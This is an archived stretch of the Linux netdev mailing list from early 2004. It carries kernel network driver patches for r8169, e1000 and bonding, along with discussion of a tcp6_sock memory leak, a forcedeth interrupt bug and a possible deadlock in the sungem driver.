<20031127235143.A16767@electric-eye.fr.zoreil.com> <20031130014738.A2589@electric-eye.fr.zoreil.com> In-Reply-To: <20031130014738.A2589@electric-eye.fr.zoreil.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2205 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brad@mainstreetsoftworks.com Precedence: bulk X-list: netdev Ok, sorry I dropped out of existance for a while. I just tried the 2.6.0-bk2 netdev experimental patches, and the r8169 module locks the system on loading. Funny thing is I had to unplug the power cable from the computer for a few seconds and plug it back in, because an immediate reset wouldn't let to old driver work :/ Let me know where to start debugging this, as I should have some time here. (Been busy getting AMD64 port into 'official' mode for Gentoo, so I haven't had time to look into this too much...) Thanks -Brad Francois Romieu wrote: > Hopefully last round of Brad/Realtek's merging. > > Patches apply in this order: > 1 - r8169-hw_start.patch > 2 - r8169-missing-tx-stats.patch > 3 - r8169-intr_mask.patch > > on top of: > > 2.6.0-test11 > + 2.6.0-test9-bk25-netdrvr-exp1 > + r8169-mac-phy-version > + r8169-init_one > + r8169-timer > > The unconditional calls to rtl8169_{rx/tx}_interrupt in rtl8169_interrupt() > are not integrated. That should not make a huge difference. > > -- > Ueimor > > > ------------------------------------------------------------------------ > > > Merge of changes from Realtek: > - register voodoo in rtl8169_hw_start(). > > > drivers/net/r8169.c | 6 ++++++ > 1 files changed, 6 insertions(+) > > diff -puN drivers/net/r8169.c~r8169-hw_start drivers/net/r8169.c > --- linux-2.6.0-test11/drivers/net/r8169.c~r8169-hw_start 2003-11-29 20:36:12.000000000 +0100 > +++ linux-2.6.0-test11-fr/drivers/net/r8169.c 2003-11-29 20:44:17.000000000 +0100 > @@ -1028,6 +1028,12 @@ rtl8169_hw_start(struct net_device *dev) > RTL_W32(TxConfig, > (TX_DMA_BURST << TxDMAShift) | (InterFrameGap << > TxInterFrameGapShift)); > + RTL_W16(CPlusCmd, RTL_R16(CPlusCmd)); > + > + if (tp->mac_version == RTL_GIGA_MAC_VER_D) { > + dprintk(KERN_INFO PFX "Set MAC Reg C+CR Offset 0xE0: bit-3 and bit-14 MUST be 1\n"); > + RTL_W16(CPlusCmd, RTL_R16(CPlusCmd) | (1 << 14) | (1 << 3)); > + } > > tp->cur_rx = 0; > > > _ > > > ------------------------------------------------------------------------ > > > Driver forgot to update the transmitted bytes counter. > Originally done in rtl8169_start_xmit() by Realtek. > > > drivers/net/r8169.c | 5 ++++- > 1 files changed, 4 insertions(+), 1 deletion(-) > > diff -puN drivers/net/r8169.c~r8169-missing-tx-stats drivers/net/r8169.c > --- linux-2.6.0-test11/drivers/net/r8169.c~r8169-missing-tx-stats 2003-11-29 22:34:10.000000000 +0100 > +++ linux-2.6.0-test11-fr/drivers/net/r8169.c 2003-11-30 00:26:09.000000000 +0100 > @@ -1303,10 +1303,13 @@ rtl8169_tx_interrupt(struct net_device * > int cur = dirty_tx % NUM_TX_DESC; > struct sk_buff *skb = tp->Tx_skbuff[cur]; > > + /* FIXME: is it really accurate for TxErr ? */ > + tp->stats.tx_bytes += skb->len >= ETH_ZLEN ? > + skb->len : ETH_ZLEN; > + tp->stats.tx_packets++; > rtl8169_unmap_tx_skb(tp->pci_dev, tp->Tx_skbuff + cur, > tp->TxDescArray + cur); > dev_kfree_skb_irq(skb); > - tp->stats.tx_packets++; > dirty_tx++; > tx_left--; > entry++; > > _ > > > ------------------------------------------------------------------------ > > drivers/net/r8169.c | 7 ++----- > 1 files changed, 2 insertions(+), 5 deletions(-) > > diff -puN drivers/net/r8169.c~r8169-intr_mask drivers/net/r8169.c > --- linux-2.6.0-test11/drivers/net/r8169.c~r8169-intr_mask 2003-11-30 01:16:48.000000000 +0100 > +++ linux-2.6.0-test11-fr/drivers/net/r8169.c 2003-11-30 01:18:22.000000000 +0100 > @@ -334,8 +334,7 @@ static void rtl8169_tx_timeout(struct ne > static struct net_device_stats *rtl8169_get_stats(struct net_device *netdev); > > static const u16 rtl8169_intr_mask = > - SYSErr | PCSTimeout | RxUnderrun | RxOverflow | RxFIFOOver | TxErr | TxOK | > - RxErr | RxOK; > + RxUnderrun | RxOverflow | RxFIFOOver | TxErr | TxOK | RxErr | RxOK; > static const unsigned int rtl8169_rx_config = > (RX_FIFO_THRESH << RxCfgFIFOShift) | (RX_DMA_BURST << RxCfgDMAShift); > > @@ -1445,9 +1444,7 @@ rtl8169_interrupt(int irq, void *dev_ins > RTL_W16(IntrStatus, > (status & RxFIFOOver) ? (status | RxOverflow) : status); > > - if ((status & > - (SYSErr | PCSTimeout | RxUnderrun | RxOverflow | RxFIFOOver > - | TxErr | TxOK | RxErr | RxOK)) == 0) > + if (!(status & rtl8169_intr_mask)) > break; > > // Rx interrupt > > _ From romieu@fr.zoreil.com Sun Jan 4 14:40:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 04 Jan 2004 14:40:46 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i04MeWTa007487 for ; Sun, 4 Jan 2004 14:40:33 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i04McosW003611; Sun, 4 Jan 2004 23:38:50 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i04McnH2003610; Sun, 4 Jan 2004 23:38:49 +0100 Date: Sun, 4 Jan 2004 23:38:49 +0100 From: Francois Romieu To: Brad House Cc: netdev@oss.sgi.com, Jeff Garzik , brad_mssw@gentoo.org Subject: Re: r8169 in netdev experimental Message-ID: <20040104233849.A3214@electric-eye.fr.zoreil.com> References: <20031122183001.GA16993@gtf.org> <20031124000939.A456@electric-eye.fr.zoreil.com> <20031126004550.A25408@electric-eye.fr.zoreil.com> <20031127235143.A16767@electric-eye.fr.zoreil.com> <20031130014738.A2589@electric-eye.fr.zoreil.com> <3FF846C3.5070207@mainstreetsoftworks.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <3FF846C3.5070207@mainstreetsoftworks.com>; from brad@mainstreetsoftworks.com on Sun, Jan 04, 2004 at 12:00:51PM -0500 X-Organisation: Land of Sunshine Inc. X-archive-position: 2206 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Brad House : [...] > Let me know where to start debugging this, as I should > have some time here. static u32 rtl8169_rx_fill(struct rtl8169_private *tp, struct net_device *dev, u32 start, u32 end) { u32 cur; for (cur = start; end - start > 0; cur++) { ^^^^^ This should read: for (cur = start; end - cur > 0; cur++) { Care to test 2.6.1-rc1-mm1 and simply change the offending line ? -- Ueimor From scott.feldman@intel.com Sun Jan 4 16:07:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 04 Jan 2004 16:07:38 -0800 (PST) Received: from hermes-pilot.fm.intel.com (fmr99.intel.com [192.55.52.32]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0507OTa008998 for ; Sun, 4 Jan 2004 16:07:25 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by hermes-pilot.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.12 2003/12/18 18:58:11 root Exp $) with ESMTP id i0504Pmu031989; Mon, 5 Jan 2004 00:04:25 GMT Received: from fmsmsxvs041.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0508ScU010246; Mon, 5 Jan 2004 00:08:32 GMT Received: from [134.134.3.50] ([134.134.3.50]) by fmsmsxvs041.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010416071211741 ; Sun, 04 Jan 2004 16:07:12 -0800 Date: Sun, 4 Jan 2004 16:43:48 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" , Subject: [e1000 2.6-exp] back out CSA interrupt fix Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2207 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev * 8086:1019 82547 CSA-based LOMs lock up the system with this code, so let's revert back to what's in 2.6.0 until we can figure out why this is causing problems. --------- --- net-drivers-2.5-exp/drivers/net/e1000/e1000_main.c.orig 2004-01-04 15:58:59.000000000 -0800 +++ net-drivers-2.5-exp/drivers/net/e1000/e1000_main.c 2004-01-04 15:59:32.000000000 -0800 @@ -2097,26 +2097,10 @@ __netif_rx_schedule(netdev); } #else - /* Writing IMC and IMS is needed for 82547. - Due to Hub Link bus being occupied, an interrupt - de-assertion message is not able to be sent. - When an interrupt assertion message is generated later, - two messages are re-ordered and sent out. - That causes APIC to think 82547 is in de-assertion - state, while 82547 is in assertion state, resulting - in dead lock. Writing IMC forces 82547 into - de-assertion state. - */ - if(hw->mac_type == e1000_82547 || hw->mac_type == e1000_82547_rev_2) - e1000_irq_disable(adapter); - for(i = 0; i < E1000_MAX_INTR; i++) if(!e1000_clean_rx_irq(adapter) & !e1000_clean_tx_irq(adapter)) break; - - if(hw->mac_type == e1000_82547 || hw->mac_type == e1000_82547_rev_2) - e1000_irq_enable(adapter); #endif return IRQ_HANDLED; From torvalds@osdl.org Sun Jan 4 18:30:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 04 Jan 2004 18:30:43 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i052UTTa013877 for ; Sun, 4 Jan 2004 18:30:29 -0800 Received: from localhost (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i052ULM15312; Sun, 4 Jan 2004 18:30:21 -0800 Date: Sun, 4 Jan 2004 18:30:21 -0800 (PST) From: Linus Torvalds To: Erik Hensema cc: netdev@oss.sgi.com, "David S. Miller" Subject: Re: 2.6.0: something is leaking memory In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2208 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: torvalds@osdl.org Precedence: bulk X-list: netdev On Sun, 4 Jan 2004, Erik Hensema wrote: > Linus Torvalds (torvalds@osdl.org) wrote: > > > > Can you do /proc/slabinfo too? > > Sure, this is of course my currently running system, 4 days, 9:53 > uptime. > > slabinfo - version: 2.0 > # name : tunables : slabdata > tcp6_sock 19729 19732 1024 4 1 : tunables 54 27 0 : slabdata 4933 4933 0 You've got 19 _megabytes_ allocated to "tcp6_sock", and they are all marked as "active". That's almost certainly the leaking bug. Everything else looks reasonably normal. > I do use IPv6. I've got three active tunnels and native IPv6 over > ethernet. Yeah, but there is no way you have 19 MB worth of sockets active for three tunnels. David? Linus From yoshfuji@linux-ipv6.org Sun Jan 4 20:52:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 04 Jan 2004 20:52:53 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i054qdTa020159 for ; Sun, 4 Jan 2004 20:52:40 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id ABE3033CA5; Mon, 5 Jan 2004 13:52:52 +0900 (JST) Date: Mon, 05 Jan 2004 13:52:52 +0900 (JST) Message-Id: <20040105.135252.07995935.yoshfuji@linux-ipv6.org> To: erik@hensema.net Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: (usagi-core 16947) Re: 2.6.0: something is leaking memory From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2209 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Sun, 4 Jan 2004 21:31:26 +0000 (UTC)), Erik Hensema says: > > Can you do /proc/slabinfo too? > > Sure, this is of course my currently running system, 4 days, 9:53 > uptime. > > slabinfo - version: 2.0 > # name : tunables : slabdata : > tcp6_sock 19729 19732 1024 4 1 : tunables 54 27 0 : slabdata 4933 4933 0 : > > Clearly the memory leak isn't in the page cache, so the most likely source > > is network buffers, and most likely in iptables connection tracking or > > similar. If you actually _use_ IPv6, then that is also more likely to have > > leaks just due to less testing. > > I do use IPv6. I've got three active tunnels and native IPv6 over > ethernet. > > I've always had problems with nscd leaking filedescriptors, all > IPv6 connections to my LDAP server. This started after upgrading > suse 8.0 to 8.2 (I think the problem is in nss_ldap). > I'm restarting nscd using a cronjob every night now. Output of > netstat --inet6 -avpn is below. All sockets in CLOSE_WAIT are > leaked and will go away after a nscd restart. How about /proc/slabinfo just after restarting nss_ldap? > The server isn't very critical, but I do need it. I'm willing to > try some patches (or do an upgrade to -mm), but nothing to wild. > > netstat --inet6 -avpn > > Active Internet connections (servers and established) > Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name > tcp 0 0 :::22 :::* LISTEN 1208/sshd > tcp 0 0 :::119 :::* LISTEN 1364/innd > tcp 0 0 :::25 :::* LISTEN 1433/sendmail: acce > tcp 0 0 :::953 :::* LISTEN 1175/named > tcp 0 0 ::1:6010 :::* LISTEN 19900/sshd > tcp 0 0 ::1:6011 :::* LISTEN 20150/sshd > tcp 1 0 ::1:50565 2001:888:10a1::1:389 CLOSE_WAIT 26536/nscd > tcp 1 0 ::1:50224 2001:888:10a1::1:389 CLOSE_WAIT 26536/nscd > tcp 0 0 2001:888:10a1::1:389 ::1:55936 ESTABLISHED 1145/slapd > tcp 1 0 ::1:50343 2001:888:10a1::1:389 CLOSE_WAIT 26536/nscd > tcp 1 0 ::1:50988 2001:888:10a1::1:389 CLOSE_WAIT 26536/nscd : There're too many sockets in CLOSE_WAIT, but the number is very different from "tcp6_sock." And, what is happened when you use ipv4 in your nscd? -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From davem@pizda.ninka.net Sun Jan 4 20:54:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 04 Jan 2004 20:54:16 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i054s2Ta020386 for ; Sun, 4 Jan 2004 20:54:03 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA04880; Sun, 4 Jan 2004 20:48:34 -0800 Date: Sun, 4 Jan 2004 20:48:34 -0800 From: "David S. Miller" To: Linus Torvalds Cc: erik@hensema.net, netdev@oss.sgi.com Subject: Re: 2.6.0: something is leaking memory Message-Id: <20040104204834.40b6ca51.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2210 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sun, 4 Jan 2004 18:30:21 -0800 (PST) Linus Torvalds wrote: > You've got 19 _megabytes_ allocated to "tcp6_sock", and they are all > marked as "active". That's almost certainly the leaking bug. > > Everything else looks reasonably normal. ... > David? Fixed by changeset 1.1496.16.1 which is in 2.6.1-rc1 From madis@cyber.ee Mon Jan 5 04:59:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 04:59:30 -0800 (PST) Received: from alien (pc24.host2.starman.ee [62.65.194.24]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05CxFTa015577 for ; Mon, 5 Jan 2004 04:59:17 -0800 Received: from mzz (helo=localhost) by alien with local-esmtp (Exim 3.36 #1 (Debian)) id 1AdUJl-0000Go-00; Mon, 05 Jan 2004 14:58:49 +0200 Date: Mon, 5 Jan 2004 14:58:48 +0200 (EET) From: madis X-X-Sender: mzz@alien To: Carl-Daniel Hailfinger cc: Madis Janson , netdev@oss.sgi.com Subject: Re: forcedeth unknown events 0x21 In-Reply-To: <3FE6678B.5070006@gmx.net> Message-ID: References: <3FE6678B.5070006@gmx.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2211 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: madis@cyber.ee Precedence: bulk X-list: netdev On Mon, 22 Dec 2003, Carl-Daniel Hailfinger wrote: > Madis Janson wrote: > > When trying forcedeth_2_6_patch_v19.txt, i got the following message > > fastly repeating after ifup eth0: > > > > "eth0: received irq with unknown events 0x21. Please report" > > > > and it didn't work eighter (ifup just stalled). > > > > kernel: > > > > 2.6.0 release + patches: > > http://www.held.org.il/patches/patch-lirc-2.6.0-test9-oh.diff.bz2 > > http://www.hailfinger.org/carldani/linux/patches/forcedeth/forcedeth_2_6_patch_v19.txt > > Please try the attached patch on top of it and report back if it works. > the unknown events message disappeared, but the network did not start to work... ======================================================== + if (events & (NVREG_IRQ_RX_ERR)) { + dprintk(KERN_DEBUG "%s: received irq with events 0x%x. Probably RX fail.\n", + dev->name, events); here were '}' missing. -- mzz From mostrows@watson.ibm.com Mon Jan 5 05:08:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 05:08:13 -0800 (PST) Received: from brick.watson.ibm.com (yktgi01e0-s4.watson.ibm.com [129.34.20.23]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05D7xTa016274 for ; Mon, 5 Jan 2004 05:08:00 -0800 Received: by brick.watson.ibm.com (Postfix, from userid 9965) id E5641C024; Mon, 5 Jan 2004 08:07:58 -0500 (EST) Subject: Deadlock in sungem/ip_auto_config/linkwatch From: Michal Ostrowski To: netdev@oss.sgi.com Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-VstyQxFiTA9BMsLFyv50" Message-Id: <1073307882.2041.98320.camel@brick.watson.ibm.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Mon, 05 Jan 2004 08:07:58 -0500 X-archive-position: 2212 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mostrows@watson.ibm.com Precedence: bulk X-list: netdev --=-VstyQxFiTA9BMsLFyv50 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable I believe I've found a potential deadlock condition. It occurs when we make the following sequence of calls: ip_auto_config ic_open_devs dev_change_flags dev_open gem_open flush_scheduled_work ic_open_devs grabs rtnl_sem with an rtnl_shlock() call. The sungem driver at some point calls gem_init_one, which calls netif_carrier_*, which in turn calls schedule_work (linkwatch_event). linkwatch_event in turn needs rtnl_sem. If we enter the call sequence above and linkwatch_event is still pending, we will deadlock since flush_scheduled_work will wait for completion of linkwatch_event, which is blocked since it cannot get rtnl_sem. In general when can one call flush_scheduled_work? It seems that one can't unless you know your callers aren't holding any locks. --=20 Michal Ostrowski --=-VstyQxFiTA9BMsLFyv50 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQA/+WDqDMDCqU5zPMARAmTwAJ9ujgnF4BI4AVvkhSQ5YgJXBx+sXACfXT+z rx8XL7PYFznObN8IXIZqAW8= =HBFR -----END PGP SIGNATURE----- --=-VstyQxFiTA9BMsLFyv50-- From amir.noam@intel.com Mon Jan 5 07:25:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 07:25:51 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05FPPTa021258 for ; Mon, 5 Jan 2004 07:25:27 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i05FPBiI018818; Mon, 5 Jan 2004 15:25:11 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i05FOkwq008552; Mon, 5 Jan 2004 15:25:11 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010517251024220 ; Mon, 05 Jan 2004 17:25:10 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i05FP8hb001043; Mon, 5 Jan 2004 17:25:09 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 0/3] [bonding 2.4] Using per-bond parameters Date: Mon, 5 Jan 2004 17:25:08 +0200 User-Agent: KMail/1.5.3 Cc: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401051725.08348.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2213 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev The following patch set makes each bonding interface keep its own set of parameters, rather than use global values. This is the first step necessary to allow the configuration of different parameters to different bonding interfaces. The patches are against the netdev-2.4 tree (after Shmulik's 'update comment blocks' patch). -- Amir From amir.noam@intel.com Mon Jan 5 07:26:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 07:27:04 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05FQmTa021453 for ; Mon, 5 Jan 2004 07:26:49 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i05FQYiI019025; Mon, 5 Jan 2004 15:26:34 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i05FQYwi008750; Mon, 5 Jan 2004 15:26:34 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010517263324268 ; Mon, 05 Jan 2004 17:26:33 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i05FQXhb001058; Mon, 5 Jan 2004 17:26:33 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 1/3] [bonding 2.4] Save parameters in a per-bond data structure Date: Mon, 5 Jan 2004 17:26:26 +0200 User-Agent: KMail/1.5.3 Cc: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401051726.33613.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2214 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev - Save the bonding parameters in a per-bond data structure. - Move all handling of the insmod parameters to bond_check_params(). - Fix the handling of some warning messages regarding parameter use. diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Mon Jan 5 17:05:01 2004 +++ b/drivers/net/bonding/bond_main.c Mon Jan 5 17:05:02 2004 @@ -509,7 +509,6 @@ /* monitor all links that often (in milliseconds). <=0 disables monitoring */ #define BOND_LINK_MON_INTERV 0 #define BOND_LINK_ARP_INTERV 0 -#define MAX_ARP_IP_TARGETS 16 static int max_bonds = BOND_DEFAULT_MAX_BONDS; static int miimon = BOND_LINK_MON_INTERV; @@ -520,7 +519,7 @@ static char *mode = NULL; static char *primary = NULL; static char *lacp_rate = NULL; static int arp_interval = BOND_LINK_ARP_INTERV; -static char *arp_ip_target[MAX_ARP_IP_TARGETS] = { NULL, }; +static char *arp_ip_target[BOND_MAX_ARP_TARGETS] = { NULL, }; MODULE_PARM(max_bonds, "i"); MODULE_PARM_DESC(max_bonds, "Max number of bonded devices"); @@ -540,7 +539,7 @@ MODULE_PARM(lacp_rate, "s"); MODULE_PARM_DESC(lacp_rate, "LACPDU tx rate to request from 802.3ad partner (slow/fast)"); MODULE_PARM(arp_interval, "i"); MODULE_PARM_DESC(arp_interval, "arp interval in milliseconds"); -MODULE_PARM(arp_ip_target, "1-" __MODULE_STRING(MAX_ARP_IP_TARGETS) "s"); +MODULE_PARM(arp_ip_target, "1-" __MODULE_STRING(BOND_MAX_ARP_TARGETS) "s"); MODULE_PARM_DESC(arp_ip_target, "arp targets in n.n.n.n form"); /*----------------------------- Global variables ----------------------------*/ @@ -554,7 +553,7 @@ static LIST_HEAD(bond_dev_list); static struct proc_dir_entry *bond_proc_dir = NULL; #endif -static u32 arp_target[MAX_ARP_IP_TARGETS] = { 0, } ; +static u32 arp_target[BOND_MAX_ARP_TARGETS] = { 0, } ; static int arp_ip_count = 0; static u32 my_ip = 0; static int bond_mode = BOND_MODE_ROUNDROBIN; @@ -590,6 +589,10 @@ static struct bond_parm_tbl bond_mode_tb { NULL, -1}, }; +/*-------------------------- Forward declarations ---------------------------*/ + +static inline void bond_set_mode_ops(struct net_device *bond_dev, int mode); + /*---------------------------- General routines -----------------------------*/ static const char *bond_mode_name(void) @@ -2236,7 +2239,7 @@ static void bond_arp_send_all(struct sla { int i; - for (i = 0; (idev, my_ip, NULL, slave->dev->dev_addr, NULL); @@ -3755,13 +3758,47 @@ static int bond_accept_fastpath(struct n /*------------------------- Device initialization ---------------------------*/ /* + * set bond mode specific net device operations + */ +static inline void bond_set_mode_ops(struct net_device *bond_dev, int mode) +{ + switch (mode) { + case BOND_MODE_ROUNDROBIN: + bond_dev->hard_start_xmit = bond_xmit_roundrobin; + break; + case BOND_MODE_ACTIVEBACKUP: + bond_dev->hard_start_xmit = bond_xmit_activebackup; + break; + case BOND_MODE_XOR: + bond_dev->hard_start_xmit = bond_xmit_xor; + break; + case BOND_MODE_BROADCAST: + bond_dev->hard_start_xmit = bond_xmit_broadcast; + break; + case BOND_MODE_8023AD: + bond_dev->hard_start_xmit = bond_3ad_xmit_xor; + break; + case BOND_MODE_TLB: + case BOND_MODE_ALB: + bond_dev->hard_start_xmit = bond_alb_xmit; + bond_dev->set_mac_address = bond_alb_set_mac_address; + break; + default: + /* Should never happen, mode already checked */ + printk(KERN_ERR DRV_NAME + ": Error: Unknown bonding mode %d\n", + mode); + break; + } +} + +/* * Does not allocate but creates a /proc entry. * Allowed to fail. */ -static int __init bond_init(struct net_device *bond_dev) +static int __init bond_init(struct net_device *bond_dev, struct bond_params *params) { struct bonding *bond = bond_dev->priv; - int count; dprintk("Begin bond_init for %s\n", bond_dev->name); @@ -3769,6 +3806,8 @@ static int __init bond_init(struct net_d rwlock_init(&bond->lock); rwlock_init(&bond->curr_slave_lock); + bond->params = *params; /* copy params struct */ + /* Initialize pointers */ bond->first_slave = NULL; bond->curr_active_slave = NULL; @@ -3785,33 +3824,7 @@ static int __init bond_init(struct net_d bond_dev->change_mtu = 